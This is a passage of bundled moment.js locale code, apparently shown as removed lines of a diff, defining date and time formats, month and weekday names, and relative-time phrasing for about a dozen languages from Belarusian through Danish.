? "секунда_секунды_секунд" : "секунду_секунды_секунд", - mm: i ? "хвіліна_хвіліны_хвілін" : "хвіліну_хвіліны_хвілін", - hh: i ? "гадзіна_гадзіны_гадзін" : "гадзіну_гадзіны_гадзін", - dd: "дзень_дні_дзён", - MM: "месяц_месяцы_месяцаў", - yy: "год_гады_гадоў" - }; - if (n === "m") { - return i ? "хвіліна" : "хвіліну" - } else if (n === "h") { - return i ? "гадзіна" : "гадзіну" - } else { - return e + " " + t(r[n], +e) - } - } - var n = e.defineLocale("be", { - months: { - format: "студзеня_лютага_сакавіка_красавіка_траўня_чэрвеня_ліпеня_жніўня_верасня_кастрычніка_лістапада_снежня".split("_"), - standalone: "студзень_люты_сакавік_красавік_травень_чэрвень_ліпень_жнівень_верасень_кастрычнік_лістапад_снежань".split("_") - }, - monthsShort: "студ_лют_сак_крас_трав_чэрв_ліп_жнів_вер_каст_ліст_снеж".split("_"), - weekdays: { - format: "нядзелю_панядзелак_аўторак_сераду_чацвер_пятніцу_суботу".split("_"), - standalone: "нядзеля_панядзелак_аўторак_серада_чацвер_пятніца_субота".split("_"), - isFormat: /\[ ?[Ууў] ?(?:мінулую|наступную)? ?\] ?dddd/ - }, - weekdaysShort: "нд_пн_ат_ср_чц_пт_сб".split("_"), - weekdaysMin: "нд_пн_ат_ср_чц_пт_сб".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D MMMM YYYY г.", - LLL: "D MMMM YYYY г., HH:mm", - LLLL: "dddd, D MMMM YYYY г., HH:mm" - }, - calendar: { - sameDay: "[Сёння ў] LT", - nextDay: "[Заўтра ў] LT", - lastDay: "[Учора ў] LT", - nextWeek: function () { - return "[У] dddd [ў] LT" - }, - lastWeek: function () { - switch (this.day()) { - case 0: - case 3: - case 5: - case 6: - return "[У мінулую] dddd [ў] LT"; - case 1: - case 2: - case 4: - return "[У мінулы] dddd [ў] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "праз %s", - past: "%s таму", - s: "некалькі секунд", - m: i, - mm: i, - h: i, - hh: i, - d: "дзень", - dd: i, - M: "месяц", - MM: i, - y: "год", - yy: i - }, - meridiemParse: /ночы|раніцы|дня|вечара/, - isPM: function (e) { - return /^(дня|вечара)$/.test(e) - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "ночы" - } else if (e < 12) { - return "раніцы" - } else if (e < 17) { - return "дня" - } else { - return "вечара" - } - }, - dayOfMonthOrdinalParse: /\d{1,2}-(і|ы|га)/, - ordinal: function (e, t) { - switch (t) { - case "M": - case "d": - case "DDD": - case "w": - case "W": - return (e % 10 === 2 || e % 10 === 3) && (e % 100 !== 12 && e % 100 !== 13) ? e + "-і" : e + "-ы"; - case "D": - return e + "-га"; - default: - return e - } - }, - week: { - dow: 1, - doy: 7 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("bg", { - months: "януари_февруари_март_април_май_юни_юли_август_септември_октомври_ноември_декември".split("_"), - monthsShort: "янр_фев_мар_апр_май_юни_юли_авг_сеп_окт_ное_дек".split("_"), - weekdays: "неделя_понеделник_вторник_сряда_четвъртък_петък_събота".split("_"), - weekdaysShort: "нед_пон_вто_сря_чет_пет_съб".split("_"), - weekdaysMin: "нд_пн_вт_ср_чт_пт_сб".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "D.MM.YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY H:mm", - LLLL: "dddd, D MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[Днес в] LT", - nextDay: "[Утре в] LT", - nextWeek: "dddd [в] LT", - lastDay: "[Вчера в] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - case 3: - case 6: - return "[В изминалата] dddd [в] LT"; - case 1: - case 2: - case 4: - case 5: - return "[В изминалия] dddd [в] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "след %s", - past: "преди %s", - s: "няколко секунди", - ss: "%d секунди", - m: "минута", - mm: "%d минути", - h: "час", - hh: "%d часа", - d: "ден", - dd: "%d дни", - M: "месец", - MM: "%d месеца", - y: "година", - yy: "%d години" - }, - dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/, - ordinal: function (e) { - var t = e % 10, - i = e % 100; - if (e === 0) { - return e + "-ев" - } else if (i === 0) { - return e + "-ен" - } else if (i > 10 && i < 20) { - return e + "-ти" - } else if (t === 1) { - return e + "-ви" - } else if (t === 2) { - return e + "-ри" - } else if (t === 7 || t === 8) { - return e + "-ми" - } else { - return e + "-ти" - } - }, - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("bm", { - months: "Zanwuyekalo_Fewuruyekalo_Marisikalo_Awirilikalo_Mɛkalo_Zuwɛnkalo_Zuluyekalo_Utikalo_Sɛtanburukalo_ɔkutɔburukalo_Nowanburukalo_Desanburukalo".split("_"), - monthsShort: "Zan_Few_Mar_Awi_Mɛ_Zuw_Zul_Uti_Sɛt_ɔku_Now_Des".split("_"), - weekdays: "Kari_Ntɛnɛn_Tarata_Araba_Alamisa_Juma_Sibiri".split("_"), - weekdaysShort: "Kar_Ntɛ_Tar_Ara_Ala_Jum_Sib".split("_"), - weekdaysMin: "Ka_Nt_Ta_Ar_Al_Ju_Si".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "MMMM [tile] D [san] YYYY", - LLL: "MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm", - LLLL: "dddd MMMM [tile] D [san] YYYY [lɛrɛ] HH:mm" - }, - calendar: { - sameDay: "[Bi lɛrɛ] LT", - nextDay: "[Sini lɛrɛ] LT", - nextWeek: "dddd [don lɛrɛ] LT", - lastDay: "[Kunu lɛrɛ] LT", - lastWeek: "dddd [tɛmɛnen lɛrɛ] LT", - sameElse: "L" - }, - relativeTime: { - future: "%s kɔnɔ", - past: "a bɛ %s bɔ", - s: "sanga dama dama", - ss: "sekondi %d", - m: "miniti kelen", - mm: "miniti %d", - h: "lɛrɛ kelen", - hh: "lɛrɛ %d", - d: "tile kelen", - dd: "tile %d", - M: "kalo kelen", - MM: "kalo %d", - y: "san kelen", - yy: "san %d" - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "১", - 2: "২", - 3: "৩", - 4: "৪", - 5: "৫", - 6: "৬", - 7: "৭", - 8: "৮", - 9: "৯", - 0: "০" - }, - i = { - "১": "1", - "২": "2", - "৩": "3", - "৪": "4", - "৫": "5", - "৬": "6", - "৭": "7", - "৮": "8", - "৯": "9", - "০": "0" - }; - var n = e.defineLocale("bn", { - months: "জানুয়ারী_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর".split("_"), - monthsShort: "জানু_ফেব_মার্চ_এপ্র_মে_জুন_জুল_আগ_সেপ্ট_অক্টো_নভে_ডিসে".split("_"), - weekdays: "রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার".split("_"), - weekdaysShort: "রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি".split("_"), - weekdaysMin: "রবি_সোম_মঙ্গ_বুধ_বৃহঃ_শুক্র_শনি".split("_"), - longDateFormat: { - LT: "A h:mm সময়", - LTS: "A h:mm:ss সময়", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm সময়", - LLLL: "dddd, D MMMM YYYY, A h:mm সময়" - }, - calendar: { - sameDay: "[আজ] LT", - nextDay: "[আগামীকাল] LT", - nextWeek: "dddd, LT", - lastDay: "[গতকাল] LT", - lastWeek: "[গত] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s পরে", - past: "%s আগে", - s: "কয়েক সেকেন্ড", - ss: "%d সেকেন্ড", - m: "এক মিনিট", - mm: "%d মিনিট", - h: "এক ঘন্টা", - hh: "%d ঘন্টা", - d: "এক দিন", - dd: "%d দিন", - M: "এক মাস", - MM: "%d মাস", - y: "এক বছর", - yy: "%d বছর" - }, - preparse: function (e) { - return e.replace(/[১২৩৪৫৬৭৮৯০]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /রাত|সকাল|দুপুর|বিকাল|রাত/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "রাত" && e >= 4 || t === "দুপুর" && e < 5 || t === "বিকাল") { - return e + 12 - } else { - return e - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "রাত" - } else if (e < 10) { - return "সকাল" - } else if (e < 17) { - return "দুপুর" - } else if (e < 20) { - return "বিকাল" - } else { - return "রাত" - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = { - 1: "༡", - 2: "༢", - 3: "༣", - 4: "༤", - 5: "༥", - 6: "༦", - 7: "༧", - 8: "༨", - 9: "༩", - 0: "༠" - }, - i = { - "༡": "1", - "༢": "2", - "༣": "3", - "༤": "4", - "༥": "5", - "༦": "6", - "༧": "7", - "༨": "8", - "༩": "9", - "༠": "0" - }; - var n = e.defineLocale("bo", { - months: "ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"), - monthsShort: "ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ".split("_"), - weekdays: "གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་".split("_"), - weekdaysShort: "ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"), - weekdaysMin: "ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་".split("_"), - longDateFormat: { - LT: "A h:mm", - LTS: "A h:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY, A h:mm", - LLLL: "dddd, D MMMM YYYY, A h:mm" - }, - calendar: { - sameDay: "[དི་རིང] LT", - nextDay: "[སང་ཉིན] LT", - nextWeek: "[བདུན་ཕྲག་རྗེས་མ], LT", - lastDay: "[ཁ་སང] LT", - lastWeek: "[བདུན་ཕྲག་མཐའ་མ] dddd, LT", - sameElse: "L" - }, - relativeTime: { - future: "%s ལ་", - past: "%s སྔན་ལ", - s: "ལམ་སང", - ss: "%d སྐར་ཆ།", - m: "སྐར་མ་གཅིག", - mm: "%d སྐར་མ", - h: "ཆུ་ཚོད་གཅིག", - hh: "%d ཆུ་ཚོད", - d: "ཉིན་གཅིག", - dd: "%d ཉིན་", - M: "ཟླ་བ་གཅིག", - MM: "%d ཟླ་བ", - y: "ལོ་གཅིག", - yy: "%d ལོ" - }, - preparse: function (e) { - return e.replace(/[༡༢༣༤༥༦༧༨༩༠]/g, function (e) { - return i[e] - }) - }, - postformat: function (e) { - return e.replace(/\d/g, function (e) { - return t[e] - }) - }, - meridiemParse: /མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/, - meridiemHour: function (e, t) { - if (e === 12) { - e = 0 - } - if (t === "མཚན་མོ" && e >= 4 || t === "ཉིན་གུང" && e < 5 || t === "དགོང་དག") { - return e + 12 - } else { - return e - } - }, - meridiem: function (e, t, i) { - if (e < 4) { - return "མཚན་མོ" - } else if (e < 10) { - return "ཞོགས་ཀས" - } else if (e < 17) { - return "ཉིན་གུང" - } else if (e < 20) { - return "དགོང་དག" - } else { - return "མཚན་མོ" - } - }, - week: { - dow: 0, - doy: 6 - } - }); - return n - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i) { - var n = { - mm: "munutenn", - MM: "miz", - dd: "devezh" - }; - return e + " " + r(n[i], e) - } - - function i(e) { - switch (n(e)) { - case 1: - case 3: - case 4: - case 5: - case 9: - return e + " bloaz"; - default: - return e + " vloaz" - } - } - - function n(e) { - if (e > 9) { - return n(e % 10) - } - return e - } - - function r(e, t) { - if (t === 2) { - return a(e) - } - return e - } - - function a(e) { - var t = { - m: "v", - b: "v", - d: "z" - }; - if (t[e.charAt(0)] === undefined) { - return e - } - return t[e.charAt(0)] + e.substring(1) - } - var s = e.defineLocale("br", { - months: "Genver_C'hwevrer_Meurzh_Ebrel_Mae_Mezheven_Gouere_Eost_Gwengolo_Here_Du_Kerzu".split("_"), - monthsShort: "Gen_C'hwe_Meu_Ebr_Mae_Eve_Gou_Eos_Gwe_Her_Du_Ker".split("_"), - weekdays: "Sul_Lun_Meurzh_Merc'her_Yaou_Gwener_Sadorn".split("_"), - weekdaysShort: "Sul_Lun_Meu_Mer_Yao_Gwe_Sad".split("_"), - weekdaysMin: "Su_Lu_Me_Mer_Ya_Gw_Sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "h[e]mm A", - LTS: "h[e]mm:ss A", - L: "DD/MM/YYYY", - LL: "D [a viz] MMMM YYYY", - LLL: "D [a viz] MMMM YYYY h[e]mm A", - LLLL: "dddd, D [a viz] MMMM YYYY h[e]mm A" - }, - calendar: { - sameDay: "[Hiziv da] LT", - nextDay: "[Warc'hoazh da] LT", - nextWeek: "dddd [da] LT", - lastDay: "[Dec'h da] LT", - lastWeek: "dddd [paset da] LT", - sameElse: "L" - }, - relativeTime: { - future: "a-benn %s", - past: "%s 'zo", - s: "un nebeud segondennoù", - ss: "%d eilenn", - m: "ur vunutenn", - mm: t, - h: "un eur", - hh: "%d eur", - d: "un devezh", - dd: t, - M: "ur miz", - MM: t, - y: "ur bloaz", - yy: i - }, - dayOfMonthOrdinalParse: /\d{1,2}(añ|vet)/, - ordinal: function (e) { - var t = e === 1 ? "añ" : "vet"; - return e + t - }, - week: { - dow: 1, - doy: 4 - } - }); - return s - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - - function t(e, t, i) { - var n = e + " "; - switch (i) { - case "ss": - if (e === 1) { - n += "sekunda" - } else if (e === 2 || e === 3 || e === 4) { - n += "sekunde" - } else { - n += "sekundi" - } - return n; - case "m": - return t ? "jedna minuta" : "jedne minute"; - case "mm": - if (e === 1) { - n += "minuta" - } else if (e === 2 || e === 3 || e === 4) { - n += "minute" - } else { - n += "minuta" - } - return n; - case "h": - return t ? "jedan sat" : "jednog sata"; - case "hh": - if (e === 1) { - n += "sat" - } else if (e === 2 || e === 3 || e === 4) { - n += "sata" - } else { - n += "sati" - } - return n; - case "dd": - if (e === 1) { - n += "dan" - } else { - n += "dana" - } - return n; - case "MM": - if (e === 1) { - n += "mjesec" - } else if (e === 2 || e === 3 || e === 4) { - n += "mjeseca" - } else { - n += "mjeseci" - } - return n; - case "yy": - if (e === 1) { - n += "godina" - } else if (e === 2 || e === 3 || e === 4) { - n += "godine" - } else { - n += "godina" - } - return n - } - } - var i = e.defineLocale("bs", { - months: "januar_februar_mart_april_maj_juni_juli_august_septembar_oktobar_novembar_decembar".split("_"), - monthsShort: "jan._feb._mar._apr._maj._jun._jul._aug._sep._okt._nov._dec.".split("_"), - monthsParseExact: true, - weekdays: "nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"), - weekdaysShort: "ned._pon._uto._sri._čet._pet._sub.".split("_"), - weekdaysMin: "ne_po_ut_sr_če_pe_su".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd, D. MMMM YYYY H:mm" - }, - calendar: { - sameDay: "[danas u] LT", - nextDay: "[sutra u] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[u] [nedjelju] [u] LT"; - case 3: - return "[u] [srijedu] [u] LT"; - case 6: - return "[u] [subotu] [u] LT"; - case 1: - case 2: - case 4: - case 5: - return "[u] dddd [u] LT" - } - }, - lastDay: "[jučer u] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - case 3: - return "[prošlu] dddd [u] LT"; - case 6: - return "[prošle] [subote] [u] LT"; - case 1: - case 2: - case 4: - case 5: - return "[prošli] dddd [u] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "za %s", - past: "prije %s", - s: "par sekundi", - ss: t, - m: t, - mm: t, - h: t, - hh: t, - d: "dan", - dd: t, - M: "mjesec", - MM: t, - y: "godinu", - yy: t - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 7 - } - }); - return i - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("ca", { - months: { - standalone: "gener_febrer_març_abril_maig_juny_juliol_agost_setembre_octubre_novembre_desembre".split("_"), - format: "de gener_de febrer_de març_d'abril_de maig_de juny_de juliol_d'agost_de setembre_d'octubre_de novembre_de desembre".split("_"), - isFormat: /D[oD]?(\s)+MMMM/ - }, - monthsShort: "gen._febr._març_abr._maig_juny_jul._ag._set._oct._nov._des.".split("_"), - monthsParseExact: true, - weekdays: "diumenge_dilluns_dimarts_dimecres_dijous_divendres_dissabte".split("_"), - weekdaysShort: "dg._dl._dt._dc._dj._dv._ds.".split("_"), - weekdaysMin: "dg_dl_dt_dc_dj_dv_ds".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM [de] YYYY", - ll: "D MMM YYYY", - LLL: "D MMMM [de] YYYY [a les] H:mm", - lll: "D MMM YYYY, H:mm", - LLLL: "dddd D MMMM [de] YYYY [a les] H:mm", - llll: "ddd D MMM YYYY, H:mm" - }, - calendar: { - sameDay: function () { - return "[avui a " + (this.hours() !== 1 ? "les" : "la") + "] LT" - }, - nextDay: function () { - return "[demà a " + (this.hours() !== 1 ? "les" : "la") + "] LT" - }, - nextWeek: function () { - return "dddd [a " + (this.hours() !== 1 ? "les" : "la") + "] LT" - }, - lastDay: function () { - return "[ahir a " + (this.hours() !== 1 ? "les" : "la") + "] LT" - }, - lastWeek: function () { - return "[el] dddd [passat a " + (this.hours() !== 1 ? "les" : "la") + "] LT" - }, - sameElse: "L" - }, - relativeTime: { - future: "d'aquí %s", - past: "fa %s", - s: "uns segons", - ss: "%d segons", - m: "un minut", - mm: "%d minuts", - h: "una hora", - hh: "%d hores", - d: "un dia", - dd: "%d dies", - M: "un mes", - MM: "%d mesos", - y: "un any", - yy: "%d anys" - }, - dayOfMonthOrdinalParse: /\d{1,2}(r|n|t|è|a)/, - ordinal: function (e, t) { - var i = e === 1 ? "r" : e === 2 ? "n" : e === 3 ? "r" : e === 4 ? "t" : "è"; - if (t === "w" || t === "W") { - i = "a" - } - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = "leden_únor_březen_duben_květen_červen_červenec_srpen_září_říjen_listopad_prosinec".split("_"), - i = "led_úno_bře_dub_kvě_čvn_čvc_srp_zář_říj_lis_pro".split("_"); - var n = [/^led/i, /^úno/i, /^bře/i, /^dub/i, /^kvě/i, /^(čvn|červen$|června)/i, /^(čvc|červenec|července)/i, /^srp/i, /^zář/i, /^říj/i, /^lis/i, /^pro/i]; - var r = /^(leden|únor|březen|duben|květen|červenec|července|červen|června|srpen|září|říjen|listopad|prosinec|led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i; - - function a(e) { - return e > 1 && e < 5 && ~~(e / 10) !== 1 - } - - function s(e, t, i, n) { - var r = e + " "; - switch (i) { - case "s": - return t || n ? "pár sekund" : "pár sekundami"; - case "ss": - if (t || n) { - return r + (a(e) ? "sekundy" : "sekund") - } else { - return r + "sekundami" - } - break; - case "m": - return t ? "minuta" : n ? "minutu" : "minutou"; - case "mm": - if (t || n) { - return r + (a(e) ? "minuty" : "minut") - } else { - return r + "minutami" - } - break; - case "h": - return t ? "hodina" : n ? "hodinu" : "hodinou"; - case "hh": - if (t || n) { - return r + (a(e) ? "hodiny" : "hodin") - } else { - return r + "hodinami" - } - break; - case "d": - return t || n ? "den" : "dnem"; - case "dd": - if (t || n) { - return r + (a(e) ? "dny" : "dní") - } else { - return r + "dny" - } - break; - case "M": - return t || n ? "měsíc" : "měsícem"; - case "MM": - if (t || n) { - return r + (a(e) ? "měsíce" : "měsíců") - } else { - return r + "měsíci" - } - break; - case "y": - return t || n ? "rok" : "rokem"; - case "yy": - if (t || n) { - return r + (a(e) ? "roky" : "let") - } else { - return r + "lety" - } - break - } - } - var o = e.defineLocale("cs", { - months: t, - monthsShort: i, - monthsRegex: r, - monthsShortRegex: r, - monthsStrictRegex: /^(leden|ledna|února|únor|březen|března|duben|dubna|květen|května|červenec|července|červen|června|srpen|srpna|září|říjen|října|listopadu|listopad|prosinec|prosince)/i, - monthsShortStrictRegex: /^(led|úno|bře|dub|kvě|čvn|čvc|srp|zář|říj|lis|pro)/i, - monthsParse: n, - longMonthsParse: n, - shortMonthsParse: n, - weekdays: "neděle_pondělí_úterý_středa_čtvrtek_pátek_sobota".split("_"), - weekdaysShort: "ne_po_út_st_čt_pá_so".split("_"), - weekdaysMin: "ne_po_út_st_čt_pá_so".split("_"), - longDateFormat: { - LT: "H:mm", - LTS: "H:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY H:mm", - LLLL: "dddd D. MMMM YYYY H:mm", - l: "D. M. YYYY" - }, - calendar: { - sameDay: "[dnes v] LT", - nextDay: "[zítra v] LT", - nextWeek: function () { - switch (this.day()) { - case 0: - return "[v neděli v] LT"; - case 1: - case 2: - return "[v] dddd [v] LT"; - case 3: - return "[ve středu v] LT"; - case 4: - return "[ve čtvrtek v] LT"; - case 5: - return "[v pátek v] LT"; - case 6: - return "[v sobotu v] LT" - } - }, - lastDay: "[včera v] LT", - lastWeek: function () { - switch (this.day()) { - case 0: - return "[minulou neděli v] LT"; - case 1: - case 2: - return "[minulé] dddd [v] LT"; - case 3: - return "[minulou středu v] LT"; - case 4: - case 5: - return "[minulý] dddd [v] LT"; - case 6: - return "[minulou sobotu v] LT" - } - }, - sameElse: "L" - }, - relativeTime: { - future: "za %s", - past: "před %s", - s: s, - ss: s, - m: s, - mm: s, - h: s, - hh: s, - d: s, - dd: s, - M: s, - MM: s, - y: s, - yy: s - }, - dayOfMonthOrdinalParse: /\d{1,2}\./, - ordinal: "%d.", - week: { - dow: 1, - doy: 4 - } - }); - return o - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("cv", { - months: "кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав".split("_"), - monthsShort: "кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш".split("_"), - weekdays: "вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун".split("_"), - weekdaysShort: "выр_тун_ытл_юн_кӗҫ_эрн_шӑм".split("_"), - weekdaysMin: "вр_тн_ыт_юн_кҫ_эр_шм".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD-MM-YYYY", - LL: "YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]", - LLL: "YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm", - LLLL: "dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm" - }, - calendar: { - sameDay: "[Паян] LT [сехетре]", - nextDay: "[Ыран] LT [сехетре]", - lastDay: "[Ӗнер] LT [сехетре]", - nextWeek: "[Ҫитес] dddd LT [сехетре]", - lastWeek: "[Иртнӗ] dddd LT [сехетре]", - sameElse: "L" - }, - relativeTime: { - future: function (e) { - var t = /сехет$/i.exec(e) ? "рен" : /ҫул$/i.exec(e) ? "тан" : "ран"; - return e + t - }, - past: "%s каялла", - s: "пӗр-ик ҫеккунт", - ss: "%d ҫеккунт", - m: "пӗр минут", - mm: "%d минут", - h: "пӗр сехет", - hh: "%d сехет", - d: "пӗр кун", - dd: "%d кун", - M: "пӗр уйӑх", - MM: "%d уйӑх", - y: "пӗр ҫул", - yy: "%d ҫул" - }, - dayOfMonthOrdinalParse: /\d{1,2}-мӗш/, - ordinal: "%d-мӗш", - week: { - dow: 1, - doy: 7 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("cy", { - months: "Ionawr_Chwefror_Mawrth_Ebrill_Mai_Mehefin_Gorffennaf_Awst_Medi_Hydref_Tachwedd_Rhagfyr".split("_"), - monthsShort: "Ion_Chwe_Maw_Ebr_Mai_Meh_Gor_Aws_Med_Hyd_Tach_Rhag".split("_"), - weekdays: "Dydd Sul_Dydd Llun_Dydd Mawrth_Dydd Mercher_Dydd Iau_Dydd Gwener_Dydd Sadwrn".split("_"), - weekdaysShort: "Sul_Llun_Maw_Mer_Iau_Gwe_Sad".split("_"), - weekdaysMin: "Su_Ll_Ma_Me_Ia_Gw_Sa".split("_"), - weekdaysParseExact: true, - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD/MM/YYYY", - LL: "D MMMM YYYY", - LLL: "D MMMM YYYY HH:mm", - LLLL: "dddd, D MMMM YYYY HH:mm" - }, - calendar: { - sameDay: "[Heddiw am] LT", - nextDay: "[Yfory am] LT", - nextWeek: "dddd [am] LT", - lastDay: "[Ddoe am] LT", - lastWeek: "dddd [diwethaf am] LT", - sameElse: "L" - }, - relativeTime: { - future: "mewn %s", - past: "%s yn ôl", - s: "ychydig eiliadau", - ss: "%d eiliad", - m: "munud", - mm: "%d munud", - h: "awr", - hh: "%d awr", - d: "diwrnod", - dd: "%d diwrnod", - M: "mis", - MM: "%d mis", - y: "blwyddyn", - yy: "%d flynedd" - }, - dayOfMonthOrdinalParse: /\d{1,2}(fed|ain|af|il|ydd|ed|eg)/, - ordinal: function (e) { - var t = e, - i = "", - n = ["", "af", "il", "ydd", "ydd", "ed", "ed", "ed", "fed", "fed", "fed", "eg", "fed", "eg", "eg", "fed", "eg", "eg", "fed", "eg", "fed"]; - if (t > 20) { - if (t === 40 || t === 50 || t === 60 || t === 80 || t === 100) { - i = "fed" - } else { - i = "ain" - } - } else if (t > 0) { - i = n[t] - } - return e + i - }, - week: { - dow: 1, - doy: 4 - } - }); - return t - }) -}, function (e, t, i) { - (function (e, t) { - true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) - })(this, function (e) { - "use strict"; - var t = e.defineLocale("da", { - months: "januar_februar_marts_april_maj_juni_juli_august_september_oktober_november_december".split("_"), - monthsShort: "jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"), - weekdays: "søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"), - weekdaysShort: "søn_man_tir_ons_tor_fre_lør".split("_"), - weekdaysMin: "sø_ma_ti_on_to_fr_lø".split("_"), - longDateFormat: { - LT: "HH:mm", - LTS: "HH:mm:ss", - L: "DD.MM.YYYY", - LL: "D. MMMM YYYY", - LLL: "D. MMMM YYYY HH:mm", - LLLL: "dddd [d.] D. MMMM YYYY [kl.] HH:mm" - }, - calendar: { - sameDay: "[i dag kl.] LT", - nextDay: "[i morgen kl.] LT", - nextWeek: "på dddd [kl.] LT", - lastDay: "[i går kl.] LT", - lastWeek: "[i] dddd[s kl.] LT", - 